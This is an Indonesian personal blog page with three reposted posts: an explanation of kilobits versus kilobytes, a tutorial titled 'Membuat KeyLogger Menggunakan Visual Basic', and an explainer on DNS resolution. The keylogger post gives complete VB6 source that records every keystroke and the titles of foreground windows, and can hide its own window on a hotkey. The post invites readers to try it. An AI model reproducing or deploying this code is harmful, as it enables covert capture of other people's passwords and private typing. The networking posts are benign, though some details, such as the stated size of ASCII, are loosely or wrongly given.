Info

SELAMAT DATANG

Selamat datang di agungmohmd.blogspot.com .. silahkan untuk melihat-lihat.. but jangan lupa untuk follow dan kunjungi balik yah :D hehee

Sekilas Tentang Saya

Nama saya Mohammad Agung Perdana (nick= Agung Muhammad) atau biasa juga di panggil Agung. Saya bukan orang yang pintar, saya hanyalah orang yang ingin tahu dengan mencari sesuatu yang baru.

Welcome to Blogger Sahabat Kabel

Perbedaan KBps dan Kbps


Assalamu'alaikum kawand..
ne ada postingan dari tmen ane, moga brmanfaat ye...
PENTING ! Anda Ketahui disinilah banyak persepsi salah! Sebenarnya antara KBps dan Kbps adalah beda, memang dalam pengucapan banyak yang sama.
Pada dasarnya KBps dan Kbps merupakan satuan yg sangat berbeda. pernah liat kan iklan promosi para ISP (Speedot, IM*, atau Tel*sel Flash) yg menawarkan speed inet mulai up to 128 Kbps – 7.2 Mbps?? Tapi kenapa pas donlot real gak prnah dapet segitu ya?? kenapa gtu ??
Berikut penjelasan detailnya:
KBps (Kilobyte per second)
Kbps (Kilobit per second)
Konversi 1 byte = 8 bit

Untuk mengetahui speed download realnya, gampangkan, tinggal dibagi aja speed yg d kasih ISP dgn angka 8 (Delapan)
Berikut listnya:
128 Kbps: 128/8= 16 KBps
256 Kbps: 256/8= 32KBps
384 Kbps: 384/8= 48 KBps
512 Kbps: 512/8= 64 KBps
Mbps : 1024/8= 128 KBps
Hal ini sering menimbulkan pertanyaan “katanya 256 kbps kok dapatnya waktu download cuman 32 KBps ? Kalau dijabarkan,
Jika 1 Byte = 8 bit artinya bila berlangganan 1 Mbps Dedicated dan dapatnya adalah 128 KBps x 8 = 1024Kbps / 1 Mbps
Jika kecepatan 256 kbps maka yang didapat adalah 256/8= 32 KBps
Jika kecepatan 384 kbps maka yang didapat adalah 384/8= 48 KBps
Semoga bermanfaat :)


Inget dulu pas waktu kuliah, kalo ga salah jaman mata kuliah sistem berkas. Waktu itu ditanya
Apa bedanya bit dengan byte? Namanya juga mashiswa cupu, pada bengong aja :D . Sampai sekarang, kedua istilah itu kadang kita dengar, terutama dalam hal koneksi internet/ kecepatan / bandwith dll.

Sering orang bicara “kecepatan internetku 384kbps tapi ko download cuma 30-40kbps ya?”
Sebenarnya kedua istilah itu apa sih? Kalau saya ambil dari wikipedia,
bita (Bahasa Inggris: byte) adalah istilah yang biasa dipergunakan sebagai satuan dari penyimpanan data dalam komputer. Satu bita terdiri dari delapan bit.
Huruf B digunakan dalam singkatan kepada byte. (bit menggunakan singkatan b.) seperti kB = kilobita. Cakram keras (hard disk) berkapasitas 40GB secara mudahnya bermaksud cakram keras tersebut mampu menyimpan hingga 40 ribu juta (milyar) bita atau gigabita data.
Jadi Byte dengan bit adalah berbeda. Biasanya kecepatan internet ditawarkan 384kbps, berarti untuk kecepatan dalam Byte adalah 384 / 8 = 48 kBps artinya dalam satu detik, dapat menghantarkan data sebesar 48 kilo byte.
Contoh perhitungan Byte dan bit
Misalkan anda memiliki sebuah file yang terdiri dari 100.000 kata dan anda ingin tahu berapa lama kita bisa mendownload file tersebut melalui internet yang memiliki koneksi 33.600 bps.
Asumsikan dalam setiap kata terdiri dari 5 huruf/karakter. Berarti jika ada 100.000 kata, maka anda memiliki 500.000 huruf/karakter:
Setiap karakter terdiri dari 1 Byte, berarti anda memiliki 500.000 Byte
Setiap Byte terdiri dari 8 bit, berarti 500.000 Byte yang anda miliki bernilai 500.000 x 8 = 4.000.000 bit
Selanjutnya 4.000.000 bit yang anda miliki dibagi dengan 33.600 = 119 detik
Artinya waktu anda untuk mendownload file yang memiliki 100.000 kata kurang lebih 119 detik (2 menit) dengan kecepatan akses 33.600 bps
Dalam jaringan komputer, biasanya Byte dan bit dipakai utk menggambarkan kecepatan transfer/download data.
Satuan KBps (KiloByte/second) dipakai jika data di sini secara umum memakai Byte untuk satuannya (contohnya seperti protokol-protokol yang ada pada level aplikasi seperti http,ftp,smtp,dsb).
Sedangkan kbps (kilobit/second) dipakai jika data yang ditransfer memakai bit untuk satuannya (contohnya adalah protokol-protokol layer 2 ke bawah seperti ethernet yang mentransfer data dalam frame-frame).
Itu sebabnya kecepatan sebuah modem tertulis = 33.6 kb/s (karena modem termasuk dalam protokol layer 2 kebawah seperti halnya ethernet), sedangkan saat kita mendownload sebuah file, maka browser akan memperlihatkan (misal) 3 KB/s (karena browser terkoneksi dengan protokol http/ftp).
Mengapa 1 Byte = 8 bit ?
Ada dua cerita. Pertama, saat masih jaman punch card (kartu berlubang). Kedua, saat jaman pertama munculnya teknologi prosesor yang berbasis 8 bit.
Cerita pertama. Punch card teknologi terakhir mampu menangani karakter sejumlah 64 karakter dimana tiap karakter dikodekan dalam susunan 8 kombinasi lubang. IBM, selaku produsen mesin punch card, menyebut kombinasi 8 lubang tsb dengan ‘byte’ yang katanya semakna dengan ‘octet’. Meskipun begitu, kombinasinya masih belum dalam format ASCII karena waktu itu memang belum ada standarisasi ASCII.
Cerita kedua, lanjutan dari cerita pertama. Teknologi punch card ini kemudian berkembang menjadi teknologi prosesor yang saat itu baru mampu bekerja dalam kombinasi biner 8 digit. Maka diadopsilah kombinasi 8 lubang punch card ke dalam biner 8 digit yang semakin ‘menguatkan’ istilah ‘byte’.
Demikianlah, akhirnya ‘byte’ kemudian dipake sebagai satuan 8 digit biner. Sehingga walaupun teknologi prosesor berkembang hingga mampu bekerja dalam 16 digit, tetap disebut sebagai 2 byte.
Kemudian, sekedar menambah informasi. Karakter ada dua jenis, yaitu singlecode character dan unicode character. Keterbatasan standar ASCII yang hanya mengenali sejumlah 256 karakter tidak lagi mencukupi kebutuhan perkembangan IT yang semakin mendunia. Pada awalnya, hal ini diatasi dengan mengembangkan character encoding yang memetakan ulang 256 karakter untuk wilayah2 tertentu. Misalnya, di Asia karakter ke-60 adalah ‘A’, tapi di Eropa karakter ke-60 adalah ‘À’. Tapi ini jadi masalah saat tulisan Eropa (dengan encoding Eropa) mau dibaca di Asia (dengan encoding Asia) karena tulisannya jadi kacau balau. Karena itu dikembangkanlah standar baru yang disebut unicode character dimana satu karakter tidak lagi diwakili 1 byte, melainkan 2 byte.

Semoga Bermanfaat :)

Source: "HERE YE"




Membuat KeyLogger Menggunakan Visual Basic

assalamu'alaikum..
hahha, ne postingan dari tmen ane di forum...
masi sederhana sih, tapi ya silahkan coba aj sapa tau berguna...........

langsung aja:

  1. Siapkan Visual Basic , Disini saya menggunakan Visual Basic 6.0
  2. Buka program Visual Basic
  3. New Project Standard EXE



       4. Tambahkan 1 buah TextBox, 4 buah CommandButton, 2 Timer, dan 6 buah Label (Lihat Gambar)




       5. Copas seluruh Code di bawah ini :

Private Declare Function GetAsyncKeyState Lib “user32″ (ByVal vKey As Long) As Integer
Private Declare Function GetForegroundWindow Lib “user32″ () As Long
Private Declare Function GetWindowText Lib “user32″ Alias “GetWindowTextA” (ByVal hWnd As Long, ByVal sWndTitle As String, ByVal cLen As Long) As Long
Private hForegroundWnd As Long
Private backs As BooleanPrivate Sub Command1_Click()
Timer1.Enabled = True
End SubPrivate Sub Command2_Click()
Timer1.Enabled = False
End SubPrivate Sub Command3_Click()
backs = True
End SubPrivate Sub Command4_Click()
backs = False
End SubPrivate Sub Form_Load()
backs = True
End Sub
Private Sub Label1_Click()
End Sub
Private Sub Label4_Click()
End Sub
Private Sub Label6_Click()
Timer1.Enabled = True
End Sub
Private Sub Label7_Click()
Timer1.Enabled = False
End Sub
Private Sub Label8_Click()
backs = True
End Sub
Private Sub Label9_Click()
backs = False
End Sub
Private Sub Text1_Change()
Text1.SelStart = 0
Text1.SelLength = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
Dim x, x2, i, t As Integer
Dim win As Long
Dim Title As String * 1000
win = GetForegroundWindow()
If (win = hForegroundWnd) Then
GoTo Keylogger
Else
hForegroundWnd = GetForegroundWindow()
Title = “”
GetWindowText hForegroundWnd, Title, 1000
Select Case Asc(Title)
Case 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95
Text1.Text = Text1.Text & vbCrLf & vbCrLf & “[ " & Title
Text1.Text = Text1.Text & " ]” & vbCrLf
End Select
End If
Exit Sub
Keylogger:
For i = 65 To 90
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
If x2 = -32768 Then
Text1.Text = Text1.Text & Chr(i)
Else: Text1.Text = Text1.Text & Chr(i + 32)
End If
End If
Next
For i = 8 To 222
If i = 65 Then i = 91
x = GetAsyncKeyState(i)
x2 = GetAsyncKeyState(16)
If x = -32767 Then
Select Case i
Case 48
Text1.Text = Text1.Text & IIf(x2 = -32768, “)”, “0″)
Case 49
Text1.Text = Text1.Text & IIf(x2 = -32768, “!”, “1″)
Case 50
Text1.Text = Text1.Text & IIf(x2 = -32768, “@”, “2″)
Case 51
Text1.Text = Text1.Text & IIf(x2 = -32768, “#”, “3″)
Case 52
Text1.Text = Text1.Text & IIf(x2 = -32768, “$”, “4″)
Case 53
Text1.Text = Text1.Text & IIf(x2 = -32768, “%”, “5″)
Case 54
Text1.Text = Text1.Text & IIf(x2 = -32768, “^”, “6″)
Case 55
Text1.Text = Text1.Text & IIf(x2 = -32768, “&”, “7″)
Case 56
Text1.Text = Text1.Text & IIf(x2 = -32768, “*”, “8″)
Case 57
Text1.Text = Text1.Text & IIf(x2 = -32768, “(“, “9″)
Case 112: Text1.Text = Text1.Text & ” F1 “
Case 113: Text1.Text = Text1.Text & ” F2 “
Case 114: Text1.Text = Text1.Text & ” F3 “
Case 115: Text1.Text = Text1.Text & ” F4 “
Case 116: Text1.Text = Text1.Text & ” F5 “
Case 117: Text1.Text = Text1.Text & ” F6 “
Case 118: Text1.Text = Text1.Text & ” F7 “
Case 119: Text1.Text = Text1.Text & ” F8 “
Case 120: Text1.Text = Text1.Text & ” F9 “
Case 121: Text1.Text = Text1.Text & ” F10 “
Case 122: Text1.Text = Text1.Text & ” F11 “
Case 123: Text1.Text = Text1.Text & ” F12 “
Case 220: Text1.Text = Text1.Text & IIf(x2 = -32768, “|”, “\”)
Case 188: Text1.Text = Text1.Text & IIf(x2 = -32768, “<”, “,”)
Case 189: Text1.Text = Text1.Text & IIf(x2 = -32768, “_”, “-”)
Case 190: Text1.Text = Text1.Text & IIf(x2 = -32768, “>”, “.”)
Case 191: Text1.Text = Text1.Text & IIf(x2 = -32768, “?”, “/”)
Case 187: Text1.Text = Text1.Text & IIf(x2 = -32768, “+”, “=”)
Case 186: Text1.Text = Text1.Text & IIf(x2 = -32768, “:”, “;”)
Case 222: Text1.Text = Text1.Text & IIf(x2 = -32768, Chr(34), “‘”)
Case 219: Text1.Text = Text1.Text & IIf(x2 = -32768, “{“, “[")
Case 221: Text1.Text = Text1.Text & IIf(x2 = -32768, "}", "]“)
Case 192: Text1.Text = Text1.Text & IIf(x2 = -32768, “~”, “`”)
Case 8: If backs = True Then If Len(Text1.Text) > 0 Then Text1.Text = Mid(Text1.Text, 1, Len(Text1.Text) – 1)
Case 9: Text1.Text = Text1.Text & ” [ Tab ] “
Case 13: Text1.Text = Text1.Text & vbCrLf
Case 17: Text1.Text = Text1.Text & ” [ Ctrl ]“
Case 18: Text1.Text = Text1.Text & ” [ Alt ] “
Case 19: Text1.Text = Text1.Text & ” [ Pause ] “
Case 20: Text1.Text = Text1.Text & ” [ Capslock ] “
Case 27: Text1.Text = Text1.Text & ” [ Esc ] “
Case 32: Text1.Text = Text1.Text & ” “
Case 33: Text1.Text = Text1.Text & ” [ PageUp ] “
Case 34: Text1.Text = Text1.Text & ” [ PageDown ] “
Case 35: Text1.Text = Text1.Text & ” [ End ] “
Case 36: Text1.Text = Text1.Text & ” [ Home ] “
Case 37: Text1.Text = Text1.Text & ” [ Left ] “
Case 38: Text1.Text = Text1.Text & ” [ Up ] “
Case 39: Text1.Text = Text1.Text & ” [ Right ] “
Case 40: Text1.Text = Text1.Text & ” [ Down ] “
Case 41: Text1.Text = Text1.Text & ” [ Select ] “
Case 44: Text1.Text = Text1.Text & ” [ PrintScreen ] “
Case 45: Text1.Text = Text1.Text & ” [ Insert ] “
Case 46: Text1.Text = Text1.Text & ” [ Del ] “
Case 47: Text1.Text = Text1.Text & ” [ Help ] “
Case 91, 92: Text1.Text = Text1.Text & ” [ Windows ] “
End Select
End If
Next
End Sub
Private Sub Timer2_Timer()
Dim a, b, x As Long
a = GetAsyncKeyState(120)
b = GetAsyncKeyState(121)
x = GetAsyncKeyState(16)
If a = -32767 And x = -32768 Then Me.Hide
If b = -32767 And x = -32768 Then Me.Show
End Sub

pemisahnya cari sendiri ya, biar ada tantangan dikiit, hehehe....

coba jalankan dengan menekan tombol F5


ragu? live demo bisa di liat di SINI

sekian posting kali ini, semoga berhasil dan bermanfaat..
wassalam..

Pengertian dan Cara Kerja DNS

Domain Name System (DNS) merupakan sistem berbentuk database terdistribusi yang akan memetakan/mengkonversikan nama host/mesin/domain ke alamat IP (Internet Protocol) dan sebaliknya. 

Struktur database DNS  berbentuk hierarki atau pohon yang memiliki beberapa cabang. Cabang-cabang ini mewakili domain, dan dapat berupa host, subdomain, ataupun top level domain.

Domain teratas adalah root. Domain ini diwakili oleh titik. Selanjutnya, domain yang terletak tepat di bawah root disebut top level domain. Beberapa contoh top level domain ini antara lain com, edu, gov, dan lain-lain. Turunan dari top level domain disebut subdomain. Domain yang terletak setelah top level domain adalah second level domain, dan domain yang berada di bawah second level domain disebut third level domain, begitu seterusnya








Mesin DNS bisa menggunakan Server OS Windows server yang dijadikan mesin DNS atau sebuah Server dengan OS Linux dengan menjalankan daemon seperti BIND (Berkeley Internet Name Domain) / DJBDNS yang sering digunakan, hampir 75 % implemetasi DNS menggunakan BIND.

Ada tiga belas (13) root server utama yang disebar ke seluruh dunia dan dibagi-bagi untuk melayani area negara tertentu, generic Top Level Domain (gTLD) tertentu atau blok IP Address tertentu. Antara satu root server ini dengan yang lain saling terhubung dan saling memperbaharui datanya masing-masing (www.rootservers.org).

Cara Kerja DNS (Domain Name System)
Secara sederhana cara kerja DNS bisa dilihat pada gambar berikut ini:

DNS menggunakan relasi client – server untuk resolusi nama. Pada saat client mencari satu host, maka ia akan mengirimkan query ke server DNS. Query adalah satu permintaan untuk resolusi nama yang dikirimkan ke server DNS.
  1. Pada komputer Client, sebuah program aplikasi misalnya http, meminta pemetaan IP Address (forward lookup query). Sebuah program aplikasi pada host yang mengakses domain system disebut sebagai resolver, resolver menghubungi DNS server, yang biasa disebut name server.
  2. Name server meng-cek ke local database, jika ditemukan, name server mengembalikan IP Address ke resolver jika tidak ditemukan akan meneruskan query tersebut ke name server  root server.
  3. Terakhir barulah si client bisa secara langsung menghubungi sebuah website / server yang diminta dengan menggunakan IP Address yang diberikan oleh DNS server.
Jika permintaan tidak ada pada database,  name server akan menghubungi server root dan server lainnya dengan cara sebagai berikut :

  1. Saat kita mengetikkan sebuah nama domain misalnya http://www. neon.cs.virginia.edu pada web browser,  maka aplikasi http (resolver) akan mengirimkan query ke Name Server DNS Server local atau DNS Server Internet Service Provider.
  2. Awalnya name server akan menghubungi server root. Server root tidak mengetahui IP Address domain tersebut, ia hanya akan memberikan IP Address server edu.
  3. Selanjutnya name server akan bertanya lagi pada server edu berpa IP Address domain neon.cs.virginia.edu.  Server edu tidak mengetahui IP Address domain tersebut, ia hanya akan memberikan IP Address server virginia.edu.
  4. Selanjutnya name server akan bertanya ke server virginia.edu tentang  IP Address neon.cs.virginia.edu. Dan server virginia.edu hanya mengetahui dan memberikan jawaban berupa  IP Address server cs.virginia.edu
  5. Selanjutnya name server akan bertanya ke server cs.virginia.edu tentang  IP Address neon.cs.virginia.edu. Dan barulah cs.virginia.edu mengetahui dan menjawab berapa IP Address domain neon.cs.virginia.edu.
  6. Terakhir barulah computer client bisa secara langsung menghubungi domain neon.cs.virginia.edu dengan menggunakan IP Address yang diberikan oleh server cs.virginia.edu.
  7. IP Address milik neon.cs.virginia.edu kemudian akan disimpan sementara oleh DNS server Anda untuk keperluan nanti. Proses ini disebut caching, yang berguna untuk mempercepat pencarian nama domain yang telah dikenalnya.

sekian ulasan saya tentang DNS dan cara kerjanya, semoga bermanfaat... :)
source: here ye!




Share

Twitter Delicious Facebook Digg Stumbleupon Favorites More